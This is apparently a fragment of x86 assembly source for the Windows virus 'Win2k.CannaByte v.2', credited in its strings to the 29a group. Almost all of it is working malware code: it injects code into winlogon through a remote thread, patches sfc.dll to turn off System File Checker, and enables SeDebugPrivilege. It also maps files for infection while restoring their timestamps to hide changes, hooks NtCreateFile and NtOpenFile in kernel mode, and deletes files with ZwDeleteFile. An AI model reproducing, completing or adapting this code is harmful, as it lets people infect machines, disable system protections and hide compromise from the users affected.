;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process.
;in:
; eax -> base of kernel
; esi -> dir of memory that will be writable.
; ecx -> bytes of that memory.
; ebx -> handle of the process where is the memory.If 0 this process
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
UnprotectMem:
or ebx,ebx
jne NoThisProcess
push eax
push esi
push ecx
GezApi eax,GetCurrentProcessCRC,GCPNameLen
;eax -> GetCurrentProcess
call eax
;eax = hand of this process
mov ebx,eax
pop ecx
pop esi
pop eax
NoThisProcess:
push ebx
push esi
push ecx
GezApi eax,VirtualProtectExCRC,VPNameLen
;eax -> VirtualProtectEx
pop ecx
pop esi
pop ebx
;ebx = hand of process
;esi = dir
;ecx = nbytes
push eax ;space for receiving lpflOldProtect out parameter
push esp
push PAGE_EXECUTE_READWRITE
push ecx
push esi
push ebx
call eax
pop eax ;we remove space that we reserve in the stack for out parameter
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;GetLibrarys and FreeLibrarys get and free some librarys :P
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetLibrarys:
pushad
;first,ill try to get ntdll base from PEB structure
mov eax,dword ptr fs:[30h] ;PEB pointer
mov eax,dword ptr [eax + 0ch] ;PEB_LDR_DATA
mov eax,dword ptr [eax + 1ch] ;LIST_ENTRY
mov eax,dword ptr [eax + 8h] ;ntdll.dll base
mov [ebp + Ntdll],eax
mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
push eax
lea ebx,[ebp + advapi]
push ebx
call eax
mov [ebp + NtAdvapi],eax
lea ebx,[ebp + psapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtPsapi],eax
lea ebx,[ebp + rasapi]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtRasapi],eax
lea ebx,[ebp + imagehlp]
push ebx
call dword ptr [esp + 4]
mov [ebp + NtImagehlp],eax
pop eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
FreeLibrarys:
pushad
mov eax,[ebp + NtKernel]
GezApi eax,FreeLibraryCRC,FLNameLen
push eax
push dword ptr [ebp + NtAdvapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtPsapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtRasapi]
call dword ptr [esp + 4]
push dword ptr [ebp + NtImagehlp]
call dword ptr [esp + 4]
pop eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;GetWinlogon in:none out: WinlogonHand with winlogon process handle
; eax = 0 if no error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetWinlogon:
pushad
mov ecx,200h
SaveSpaceSearchingWinlogon:
push 00000000h
loop SaveSpaceSearchingWinlogon
;esp -> array of id of processes
mov eax,esp
lea ebx,[ebp + Needed]
push ebx
push 4*200h
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessesCRC,EPSNameLen
call eax
dec eax
jnz GetWinlogonOutError_
;esp -> array
mov esi,esp
lodsd
SearchWinlogon:
lodsd
push esi
or eax,eax
jz GetWinlogonOutError
;vvv
mov [ebp + WinlogonID],eax
push eax
xor eax,eax
push eax
mov eax,10h or 400h or 20h or 2h or 8h
push eax
mov eax,[ebp + NtKernel]
GezApi eax,OpenProcessCRC,OPNameLen
call eax
or eax,eax
jz NoWinlogonFound
;eax = process handle
mov [ebp + WinlogonHand],eax
lea ebx,[ebp + Needed]
push ebx
push 4
lea ebx,[ebp + WinlogonModuleHand]
push ebx
push eax
mov eax,[ebp + NtPsapi]
GezApi eax,EnumProcessModulesCRC,EPMNameLen
call eax
dec eax
jnz NoWinlogonFound
push 50
lea eax,[ebp + WinlogonModuleName]
push eax
push dword ptr [ebp + WinlogonModuleHand]
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtPsapi]
GezApi eax,GetModuleBaseNameACRC,GMBNNameLen
call eax
lea esi,[ebp + WinlogonModuleName]
lodsd
or eax,20202020h
cmp eax,'lniw'
winl equ $ - 4
jne NoWinlogonFound
lodsd
or eax,20202020h
cmp eax,'nogo'
ogon equ $ - 4
jne NoWinlogonFound
;^^^
WinLogonFound:
pop esi
GetWinlogonOut:
add esp,4*200h
popad
xor eax,eax
ret
NoWinlogonFound:
pop esi
jmp SearchWinlogon
GetWinlogonOutError:
pop esi
GetWinlogonOutError_:
add esp,4*200h
popad
xor eax,eax
inc eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;AttackWinlogon in:none
; out: eax = 1 error eax = 0 no error
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
AttackWinlogon:
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push evirus - svirus
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,VirtualAllocExCRC,VANameLen
call eax
or eax,eax
jz AttackWinlogonError
mov [ebp + WinlogonVirusBase],eax
mov ecx,[ebp + NtKernel]
mov ebx,[ebp + WinlogonHand]
lea edx,[ebp + svirus]
mov esi,evirus - svirus
Writez ecx,ebx,eax,edx,esi
or eax,eax
jz AttackWinlogonError
push 0
push 0
lea eax,[ebp + Needed]
push eax;pointer to a variable to be passed to the thread function
mov eax,[ebp + WinlogonVirusBase]
add eax,WinlogonCode - svirus
push eax
push 0 ;stack size
push 0
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CreateRemoteThreadCRC,CRTNameLen
call eax
or eax,eax
jz AttackWinlogonError
AttackWinlogonNoError:
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
ret
AttackWinlogonError:
push dword ptr [ebp + WinlogonHand]
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
call eax
xor eax,eax
inc eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
WinlogonCode:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;When i inject code to winlogon,i create a remote thread that will start execution here
pop eax ;remove parameter passed
callz WinlogonCodeDoff
WinlogonCodeDoff:
pop ebp
sub ebp,offset WinlogonCodeDoff
SfcDisable:
lea eax,[ebp + sfc]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,LoadLibraryACRC,LLNameLen
call eax
or eax,eax
jz ErrorSfcDisable
mov [ebp + NtSfc],eax
mov esi,[eax + 3ch]
add esi,eax
;esi -> PE
movzx eax,word ptr [esi + 14h];size of optional
mov ecx,[eax + esi + 18h + 10h];size of section
mov esi,[eax + esi + 18h + 0ch];virtual address of first section of sfc.dll
add esi,dword ptr [ebp + NtSfc]
;esi -> code section
SearchCodeToPatch:
pushad
lea edi,[ebp + CodeToSearch]
mov ecx,11
rep cmpsb
popad
je CodeToPatchFound
inc esi
loop SearchCodeToPatch
jmpz ErrorSfcDisable
CodeToPatchFound:
;now we patch code with a call to ExitThread
push esi
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
pop esi
mov [ebp + PatchExitThreadDir],eax
push esi
;i unprotect the mem where i go to patch
;UnprotectMem
; eax -> base of kernel
; esi -> dir of memory that will be writable.
; ecx -> bytes of that memory.
; ebx -> handle of the process where is the memory.If 0 this process
mov eax,[ebp + NtKernel]
mov ebx,0
mov ecx,_PatchCode - PatchCode
callz UnprotectMem
pop esi
mov edi,esi
lea esi,[ebp + PatchCode]
mov ecx,_PatchCode - PatchCode
PatchIt:
movsb
loop PatchIt
;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
push 0
call eax
;;;;;;;;;;;;;;;;;;;;;;
sfc db 'sfc.dll'
NtSfc dd 0
CodeToSearch db 6Ah,01h,6Ah,01h,0FFh,33h,0FFh,73h,04h,0FFh,15h
PatchCode:
push 0
mov eax,11111111h
PatchExitThreadDir equ dword ptr $ - 4
call eax
_PatchCode:
ErrorSfcDisable:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;SECOND VERSION IMPROVEMENT FOR SFC DISABLE
;In the first version the method used for sfc disabling is for win2k only,so in this
;version,if the first one fails, we will try other trickz.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;
SfcDisableImprovement:
;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;
mov eax,[ebp + NtKernel]
GezApi eax,ExitThreadCRC,ETNameLen
push 0
call eax
;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;End of code for injecting in winlogon process
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;MapFile ;it maps the file in _WIN32_FIND_DATA
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MapFile:
ChangeAttributesOfFile:
lea edi,[ebp + _WIN32_FIND_DATA.WFD_szFileName]
push 80h
push edi
mov eax,[ebp + NtKernel]
GezApi eax,SetFileAttributesACRC,SFANameLen
call eax
push 0
push 0
push 3
push 0
push 1
push 0C0000000h ;read and write access to file
lea eax,[ebp + _WIN32_FIND_DATA.WFD_szFileName]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc eax
or eax,eax
jnz np1
ret
np1:
dec eax
mov [ebp + FileHandle],eax
push 0
mov eax,[ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow]
push eax
push 0
push 4
push 0
push dword ptr [ebp + FileHandle]
mov eax,[ebp + NtKernel]
GezApi eax,CreateFileMappingACRC,CFMNameLen
call eax
or eax,eax
jz CloseFile
mov [ebp + MappingHandle],eax
push dword ptr [ebp + _WIN32_FIND_DATA.WFD_nFileSizeLow]
push 0
push 0
push 000F001Fh ;access
push eax ;MappingHandle
mov eax,[ebp + NtKernel]
GezApi eax,MapViewOfFileCRC,MVFNameLen
call eax
or eax,eax
jz CloseMapping
mov [ebp + ViewHandle],eax
ret
;;;;;;;;;;;;;;;;;;;;;;
CloseAll:;close file opened with MapFile
mov eax,[ebp + NtKernel]
GezApi eax,UnmapViewOfFileCRC,UVFNameLen
push dword ptr [ebp + ViewHandle]
call eax
CloseMapping:
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + MappingHandle]
call eax
CloseFile:
RestoreAttributes:
lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastWriteTime]
push eax
lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftLastAccessTime]
push eax
lea eax,dword ptr [ebp + _WIN32_FIND_DATA.WFD_ftCreationTime]
push eax
push dword ptr [ebp + FileHandle]
mov eax,[ebp + NtKernel]
GezApi eax,SetFileTimeCRC,SFTNameLen
call eax
mov eax,[ebp + NtKernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + FileHandle]
call eax
push dword ptr [ebp + _WIN32_FIND_DATA.WFD_dwFileAttributes]
lea eax, [ebp+ _WIN32_FIND_DATA.WFD_szFileName]
push eax
mov eax,[ebp + NtKernel]
GezApi eax,SetFileAttributesACRC,SFANameLen
call eax
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;PayloadRing0.This function is the payload of the virus in ring0.
;When win32k.sys is loaded a song starts in internal speaker.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PayloadRing0:
Do equ 600
Re equ 674 ;(9/8) * Do ;1.125*Do
Mi equ 750 ;(5/4) * Do ;1.25*Do
Fa equ 798 ;(4/3) * Do ;1.33*Do
Sol equ 900 ;(3/2) * Do ;1.5*Do
La equ 996 ;(5/3) * Do ;1.66*Do
Si_ equ 1124;(15/8)* Do ;1.875*Do
Do2 equ 1220
Zilence equ 1
pushfd
pushad
;;;;;;;;;;;;;;;;;;;;;;;
cli
in al, 61h ;save byte in 61h
push ax
cli
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
lea esi,word ptr [ebp + Song]
WhatIfGodSmokedCannabis:
lodsw
mov cx,ax
lodsw
mov dx,ax
or cx,cx
je EndSong
callz sound
jmpz WhatIfGodSmokedCannabis
EndSong:
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
callz Silence
pop ax ; Restore information byte in port 61h
out 61h, al
sti
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
popad
popfd
ret
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
sound: ;cx = frec dl = duration in second(no more than 13 sec)
pushad
push dx
set_ppi:
mov al, 10110110b ; channel 2
out 43h, al ; operation and mode 3
set_freq:
cmp cx,Zilence
je IsASilence
mov dx,12h
mov ax,34dch
div cx ; data for frec in ax: 1234dch / (cx = frec)
out 42h, al
mov al, ah
out 42h, al
active_spk:
or al, 00000011b
out 61h, al
xor eax,eax
pop ax ;al = duration in sec
callz WaitX
popad
ret
IsASilence:
callz Silence
pop ax ;al = duration in sec
callz WaitX
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
WaitX: ;eax = multiplicator < 19
pushad
mov ecx,1500000h
VelAdjust equ dword ptr $ - 4
mul ecx;*eax
mov ecx,eax
loop $
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
Silence:
pushad
in al, 61h
and al, 11111100b ; 0FCh put off speaker
out 61h, al
popad
ret
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
paystrings:
db "Win2k.CannaByte v.2 by Super and Vallez for 29a",0dh,0ah
db "The name of this virus is CannaByte!!!",0dh,0ah
db "I hate avs changed viruses's names",0dh,0ah
db "Plz,no change the name of this ;)",0
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;
TitleSong:
db "What if god smoked cannabis?",0
Song:
dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,6,Mi,6,Mi,6,Fa,12,Zilence,3,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,6,Mi,6,Mi,6,Mi,6,Fa,12,Zilence,4,Mi,6,Mi,6,Mi,6,Mi,6,Re,6,Re,6,Do,9
dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4
dw Mi,15,Zilence,2,Mi,15,Zilence,2,Do,6,Re,6,Mi,6,Mi,6,Zilence,4
dw Mi,15,Zilence,2,Mi,15,Zilence,2,Mi,6,Mi,6,Mi,6,Zilence,6
dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,3
dw Sol,6,La,6,Si_,9,Mi,6,Mi,6,Fa,6,Sol,12,Zilence,4
dw Sol,6,La,6,Si_,9,Mi,12,Mi,9,Fa,6,Sol,6,Zilence,1
dw Sol,6,Sol,6,Sol,6,Sol,6,Fa,6,Mi,6,Re,6,Do,18,Zilence,3
dw Sol,9,Sol,9,Sol,9,Sol,9,Fa,9,Mi,9,Re,9,Do,18,0,0
;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;touch_privilege: i got this function from Ratter/29a's document about infection of winlogon.
;The function enable a privilege for me,and ill use to enable SeDebugPrivilege for later ill
;be able to modify winlogon memory space.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
touch_privilege:
mov ebx, ebp
touch_privilege_ proc near
local process_token:DWORD
local privilege_luid:QWORD
local token_privilegez:TOKEN_PRIVILEGES
pushad
@SEH_SetupFrame <jmp touch_privilege_end>
xchg eax, edi
call dword ptr [ebx+tGetCurrentProcess]
lea edx, [process_token]
push edx
push TOKEN_ADJUST_PRIVILEGES
push eax
call dword ptr [ebx+tOpenProcessToken]
dec eax
jnz touch_privilege_end
lea edx, [token_privilegez.TP_luid]
push edx
push esi
push eax
call dword ptr [ebx+tLookupPrivilegeValueA]
dec eax
jnz touch_privilege_close_p_token
push eax
push eax
push type(TOKEN_PRIVILEGES)
lea edx, [token_privilegez]
push 1
pop dword ptr [edx]
mov dword ptr [edx.TP_attribz], edi
push edx
push eax
push dword ptr [process_token]
call dword ptr [ebx+tAdjustTokenPrivileges]
touch_privilege_close_p_token:
push eax
push dword ptr [process_token]
call dword ptr [ebx+tCloseHandle]
pop eax
touch_privilege_end:
@SEH_RemoveFrame
mov dword ptr [esp.Pushad_eax], eax
popad
leave
retn
touch_privilege_ endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;MapFileRing0 maps a file using kernel mode apis. As MapFile fuction for user
;mode, MapFileRing0 has a CloseAllRing0 function for saving changes and close handles
;MapFile get the name and directory handle from FileNameRing0 and RootDirectoryRing0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
MapFileRing0:
pushad
;objects_attributes struc
; oa_length dd ? ;lenght of this structure
; oa_rootdir dd ?
; oa_objectname dd ? ;name of the object
; oa_attribz dd ? ;attributes of the object
; oa_secdesc dd ?
; oa_secqos dd ?
;objects_attributes ends
;
;pio_status struc
; ps_ntstatus dd ?
; ps_info dd ?
;pio_status ends
mov [ebp + FileAttributesRing0.oa_length],24
mov eax,[ebp + RootDirectoryRing0]
mov [ebp + FileAttributesRing0.oa_rootdir],eax
lea eax,[ebp + FileNameRing0]
mov [ebp + FileAttributesRing0.oa_objectname],eax
mov dword ptr [ebp + FileAttributesRing0.oa_attribz],OBJ_CASE_INSENSITIVE
mov dword ptr [ebp + FileAttributesRing0.oa_secdesc],0
mov dword ptr [ebp + FileAttributesRing0.oa_secqos],0
push FILE_OPEN_FOR_BACKUP_INTENT or \
FILE_SYNCHRONOUS_IO_NONALERT or \
FILE_NON_DIRECTORY_FILE ;OpenOptions
push FILE_SHARE_READ or \
FILE_SHARE_WRITE ;Share access
lea eax,[ebp + io_statusRing0]
push eax
lea eax,[ebp + FileAttributesRing0]
push eax
push FILE_READ_DATA or\
FILE_WRITE_DATA or\
FILE_APPEND_DATA or\
STANDART_RIGTHS_REQUIRED ;desired access
lea eax,[ebp + FileHandRing0]
push eax
call dword ptr [ebp + ZwOpenFilez] ;I get a handle to the file
test eax,eax
jne ErrorMappingRing0
mov eax,[ebp + FileHandRing0]
push eax
push SEC_COMMIT ;allocation attributes
push PAGE_READWRITE ;page protection
push 00000000h ;maximun size
push 00000000h ;objects attributes NULL
push SECTION_QUERY or \
SECTION_MAP_WRITE or \
SECTION_MAP_READ or \
STANDART_RIGTHS_REQUIRED ;desired access
lea eax,[ebp + SectionHandRing0]
push eax
call dword ptr [ebp + ZwCreateSectionz] ;I get a handle to a created section
test eax,eax
je np1Ring0
callz Close1Ring0
jmpz ErrorMappingRing0
np1Ring0: ;no problem getting section so continue
mov dword ptr [ebp + SectionBaseAddressRing0],0
mov dword ptr [ebp + SectionOffsetRing0],0
mov dword ptr [ebp + SectionOffsetRing0 + 4],0
mov dword ptr [ebp + SectionViewSizeRing0],0
push 00000004h
push 00000000h
push 00000001h
lea eax,[ebp + SectionViewSizeRing0]
push eax
lea eax,[ebp + SectionOffsetRing0]
push eax
push 00000000h
push 00000000h
lea eax,[ebp + SectionBaseAddressRing0]
push eax
push 0FFFFFFFFh ;i specify the caller process,...i suppose thought im in ring0 this will
;not give problems.
mov eax,[ebp + SectionHandRing0]
push eax
call dword ptr [ebp + ZwMapViewOfSectionz] ;I get a view of the section
test eax,eax
je NoErrorMappingRing0
callz Close2Ring0
jmpz ErrorMappingRing0
NoErrorMappingRing0:
popad
mov eax,[ebp + SectionBaseAddressRing0]
ret
ErrorMappingRing0:
popad
xor eax,eax
ret
;;;;;;;;;;;;;;;;;;;;;;
CloseAllRing0:
Close3Ring0:
push dword ptr [ebp + SectionBaseAddressRing0]
push 0FFFFFFFFh
call dword ptr [ebp + ZwUnmapViewOfSectionz] ;I unmap the view of the section
Close2Ring0:
push dword ptr [ebp + SectionHandRing0]
call dword ptr [ebp + ZwClosez] ;I close the hand to the section
Close1Ring0:
push dword ptr [ebp + FileHandRing0]
call dword ptr [ebp + ZwClosez] ;I close the hand to the file
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;GetApisRing0 gets some apis coz we need to be fast when we r in the hook rutine,or the
;system will go slowly...We cant to be using all time GezApi
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GetApisRing0:
pushfd
pushad
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwUnmapViewOfSectionCRC,ZUVOSNameLen
mov [ebp + ZwUnmapViewOfSectionz],eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwCloseCRC,ZCNameLen
mov [ebp + ZwClosez],eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwMapViewOfSectionCRC,ZMVOSNameLen
mov [ebp + ZwMapViewOfSectionz],eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwOpenFileCRC,ZOFNameLen
mov [ebp + ZwOpenFilez],eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwCreateSectionCRC,ZCSNameLen
mov [ebp + ZwCreateSectionz],eax
popad
popfd
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;DeleteWin32ksy will delete win32k.sy file if still not deleted
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
DeleteWin32ksy:
pushfd
pushad
;From Ring3 part we have in Buffer system32 path in ansi string. We will use StringRing0
;for creating a unicode string with win32k.sy name.
lea edi,[ebp + StringRing0]
lea esi,[ebp + StartUnicode]
mov ecx,8
xor eax,eax
CopyStartUnicode:
movsb
loop CopyStartUnicode
lea esi,[ebp + Buffer]
CalcLenString
push ecx
xor eax,eax
CopyPathSystem32:
movsb
stosb
loop CopyPathSystem32
mov al,'\'
stosb
xor eax,eax
stosb
lea esi,[ebp + win32ksy]
CalcLenString
xor eax,eax
CopyFileNameWin32ksy:
movsb
stosb
loop CopyFileNameWin32ksy
;we have in StringRing0 'pathsystem32\win32k.sy'
pop ecx ;len of path of system32 in ansi
shl ecx,1 ;len in unicode
add ecx,28 ;len of that path + len of \??\ and win32k.sy name in ecx
mov word ptr [ebp + FileNameRing0.us_Length],cx
mov word ptr [ebp + FileNameRing0.us_MaximumLength],cx
lea eax,[ebp + StringRing0]
mov [ebp + FileNameRing0.us_Buffer],eax
;usually deletion of files is done with a specific call to NtSetInformationFile. With this
;call the file is deleted when last handle to it is closed. However ill use other
;undocumented api,ZwDeleteFile. With ZwDeleteFile the file is deleted without waiting
;last handle was closed.
lea eax,[ebp + FileNameRing0]
mov dword ptr [ebp + FileAttributesRing0.oa_objectname],eax
mov dword ptr [ebp + FileAttributesRing0.oa_length] ,24
mov dword ptr [ebp + FileAttributesRing0.oa_rootdir],0
mov dword ptr [ebp + FileAttributesRing0.oa_attribz],40h
mov dword ptr [ebp + FileAttributesRing0.oa_secdesc],0h
mov dword ptr [ebp + FileAttributesRing0.oa_secqos] ,0h
lea eax,dword ptr [ebp + FileAttributesRing0]
push eax
mov eax,[ebp + Ntoskrnl]
GezApi eax,ZwDeleteFileCRC,ZDFNameLen
call eax ;file must be deleted
popad
popfd
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;UnhookWhile and RehookAgain put off and put on the hook
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;NtCreateFileAddr
;NtOpenFileAddr
;NtCreateFileEntryAddr
;NtOpenFileEntryAddr
;;;;;;;;;;;;;;;;;;;;;;
UnhookWhile:
;;;;;;;;;;;;
pushad
mov eax,[ebp + NtCreateFileAddr]
mov ebx,[ebp + NtCreateFileEntryAddr]
mov [ebx],eax
mov eax,[ebp + NtOpenFileAddr]
mov ebx,[ebp + NtOpenFileEntryAddr]
mov [ebx],eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;
RehookAgain:
;;;;;;;;;;;;
pushad
lea eax,[ebp + NtCreateFileHookRutine]
mov ebx,[ebp + NtCreateFileEntryAddr]
mov [ebx],eax
lea eax,[ebp + NtOpenFileHookRutine]
mov ebx,[ebp + NtOpenFileEntryAddr]
mov [ebx],eax
popad
ret
;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Some Variables
Needed dd 0
NtKernel dd 0
NtAdvapi dd 0
NtPsapi dd 0
NtRasapi dd 0
Ntdll dd 0
NtImagehlp dd 0
